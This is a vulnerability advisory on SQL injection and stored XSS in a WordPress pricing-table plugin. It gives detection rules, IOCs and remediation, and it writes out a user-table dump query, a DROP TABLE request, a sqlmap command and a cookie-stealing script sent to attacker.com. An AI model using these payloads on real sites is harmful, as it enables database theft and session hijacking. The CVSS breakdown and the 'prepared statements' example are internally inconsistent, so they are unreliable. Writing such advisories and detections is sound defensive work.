CVE-2020-37243

Executive Summary

CVE-2020-37243 is a critical vulnerability affecting the Supsystic Pricing Table WordPress plugin, version 1.8.7. This plugin is part of the WordPress ecosystem and is used to create and manage pricing tables on WordPress sites. The vulnerability is a combination of an unauthenticated SQL injection (SQLi) and stored cross-site scripting (XSS). The SQLi occurs in the sidx GET parameter via the getListForTbl action, allowing an attacker to execute arbitrary SQL queries without authentication. The stored XSS is present in the 'Edit name' and 'Edit HTML' fields, which execute malicious scripts when viewing pricing tables. Given the CVSS score of 8.2 and the lack of a known patch, this poses a significant risk to any WordPress site using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the WordPress plugin repository and third-party marketplaces. Since the patch status is unknown, users should consider this plugin as a supply chain risk. The lack of an official patch means that any site using version 1.8.7 is vulnerable, and the plugin should be removed or replaced immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed for the SQLi.
• User Interaction (UI): None (N) – The attacker does not need to trick a user.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – SQLi can lead to full database disclosure.
• Integrity (I): High (H) – Stored XSS can modify content and execute actions.
• Availability (A): High (H) – SQLi can be used to delete data or cause denial of service.

Threat Level: Critical. The combination of unauthenticated SQLi and stored XSS allows for complete compromise of the WordPress site, including data theft, defacement, and potential lateral movement.

Deep Dive & Mechanics

The vulnerability is located in the Supsystic Pricing Table plugin's AJAX handler. The getListForTbl action processes the sidx GET parameter without proper sanitization or parameterization. This allows an attacker to inject SQL commands directly into the database query.

SQL Injection (CWE-89): The vulnerable code likely constructs a SQL query by concatenating the sidx parameter directly. For example:

$orderby = $_GET['sidx'];
$query = "SELECT * FROM {$wpdb->prefix}supsystic_pricing_tables ORDER BY $orderby";

An attacker can send a request like:

GET /wp-admin/admin-ajax.php?action=getListForTbl&sidx=1; DROP TABLE wp_users;--

This would execute the injected SQL, potentially dropping the users table.

Stored XSS (CWE-79): The 'Edit name' and 'Edit HTML' fields are stored in the database and rendered without proper escaping. An attacker with access to edit pricing tables (or via CSRF) can inject JavaScript:

<script>alert('XSS');</script>

When an admin views the pricing table, the script executes in their browser, allowing session hijacking, defacement, or further attacks.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (SQLi):

$sidx = $_GET['sidx'];
$query = "SELECT * FROM {$wpdb->prefix}supsystic_pricing_tables ORDER BY $sidx";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$sidx = sanitize_sql_orderby($_GET['sidx']);
if (!$sidx) {
    $sidx = 'id';
}
$query = "SELECT * FROM {$wpdb->prefix}supsystic_pricing_tables ORDER BY $sidx";
$results = $wpdb->get_results($query);

Or using prepared statements:

$sidx = $_GET['sidx'];
$allowed = array('id', 'name', 'price');
if (in_array($sidx, $allowed)) {
    $query = "SELECT * FROM {$wpdb->prefix}supsystic_pricing_tables ORDER BY $sidx";
    $results = $wpdb->get_results($query);
}

Vulnerable Code (XSS):

$name = $_POST['name'];
$wpdb->insert($table, array('name' => $name));
// Later, when displaying:
echo "<div>" . $row->name . "</div>";

Patched Code (XSS):

$name = sanitize_text_field($_POST['name']);
$wpdb->insert($table, array('name' => $name));
// When displaying:
echo "<div>" . esc_html($row->name) . "</div>";

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress on a local server (e.g., XAMPP, Docker).
2. Install Supsystic Pricing Table plugin version 1.8.7.
3. Create a pricing table with some sample data.

Exploitation Steps:

1. SQL Injection:

   • Use sqlmap to automate exploitation:

     sqlmap -u "http://target/wp-admin/admin-ajax.php?action=getListForTbl&sidx=1" --batch --dbs
     

   • Manual injection:

     GET /wp-admin/admin-ajax.php?action=getListForTbl&sidx=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--
     

2. Stored XSS:

   • Log in as an admin (or use CSRF).
   • Navigate to Pricing Table > Edit.
   • In the 'Edit name' field, inject:

     <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
     

   • Save the table.
   • When any admin views the table, the script executes.

Blue Team (Defensive)

Detection:

• Monitor for unusual GET requests to admin-ajax.php with action=getListForTbl and suspicious sidx parameters.
• Look for SQL keywords like UNION, SELECT, DROP in the sidx parameter.
• Monitor for XSS payloads in POST requests to pricing table edit endpoints.

Mitigation:

• Remove the plugin immediately.
• Use a Web Application Firewall (WAF) to block SQLi and XSS patterns.
• Implement input validation and output escaping in custom code.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /wp-admin/admin-ajax.php?action=getListForTbl&sidx= with SQL keywords.
  • POST requests to /wp-admin/admin-ajax.php?action=savePricingTable with <script> tags.
• File IOCs:
  • Modified files in /wp-content/plugins/supsystic-pricing-table/ (e.g., classes/controller.php).
• Database IOCs:
  • Unusual entries in wp_supsystic_pricing_tables table with JavaScript in name or html columns.
• Log IOCs:
  • Apache/Nginx access logs showing SQL injection attempts.
  • WordPress debug logs showing database errors.

Detection Engineering

YARA Rule

rule Supsystic_Pricing_Table_SQLi_XSS {
    meta:
        description = "Detects CVE-2020-37243 exploitation attempts in web logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37243"
    strings:
        $sqli_pattern = /sidx=.*(UNION|SELECT|DROP|INSERT|DELETE|UPDATE|--|#)/
        $xss_pattern = /<script[^>]*>.*<\/script[^>]*>/
    condition:
        any of ($sqli_pattern) or any of ($xss_pattern)
}

Sigma Rule

title: Supsystic Pricing Table SQLi and XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts for CVE-2020-37243
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection_sqli:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=getListForTbl'
        cs-uri-query|contains|all:
            - 'sidx='
            - 'UNION'
    selection_xss:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=savePricingTable'
        cs-request-body|contains: '<script'
    condition: selection_sqli or selection_xss
falsepositives:
    - Legitimate use of SQL keywords in table names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37243 Supsystic Pricing Table SQLi Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"action=getListForTbl"; content:"sidx="; pcre:"/sidx=.*(UNION|SELECT|DROP|INSERT|DELETE|UPDATE|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

alert http any any -> any any (msg:"CVE-2020-37243 Supsystic Pricing Table XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"action=savePricingTable"; http.request_body; content:"<script"; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Deactivate and delete the Supsystic Pricing Table plugin from all WordPress installations.
2. Scan for compromise: Check for unauthorized admin accounts, suspicious files, and database anomalies.
3. Change credentials: Reset all WordPress admin passwords and database credentials.

Long-term Mitigation:

• Use a different, actively maintained pricing table plugin.
• Implement a Web Application Firewall (WAF) with rules to block SQLi and XSS.
• Regularly update all WordPress components.
• Conduct security audits of any third-party plugins.

Patch Status: No official patch is available. The vendor (Supsystic) has not released a fix. Users must remove the plugin.

Valters IT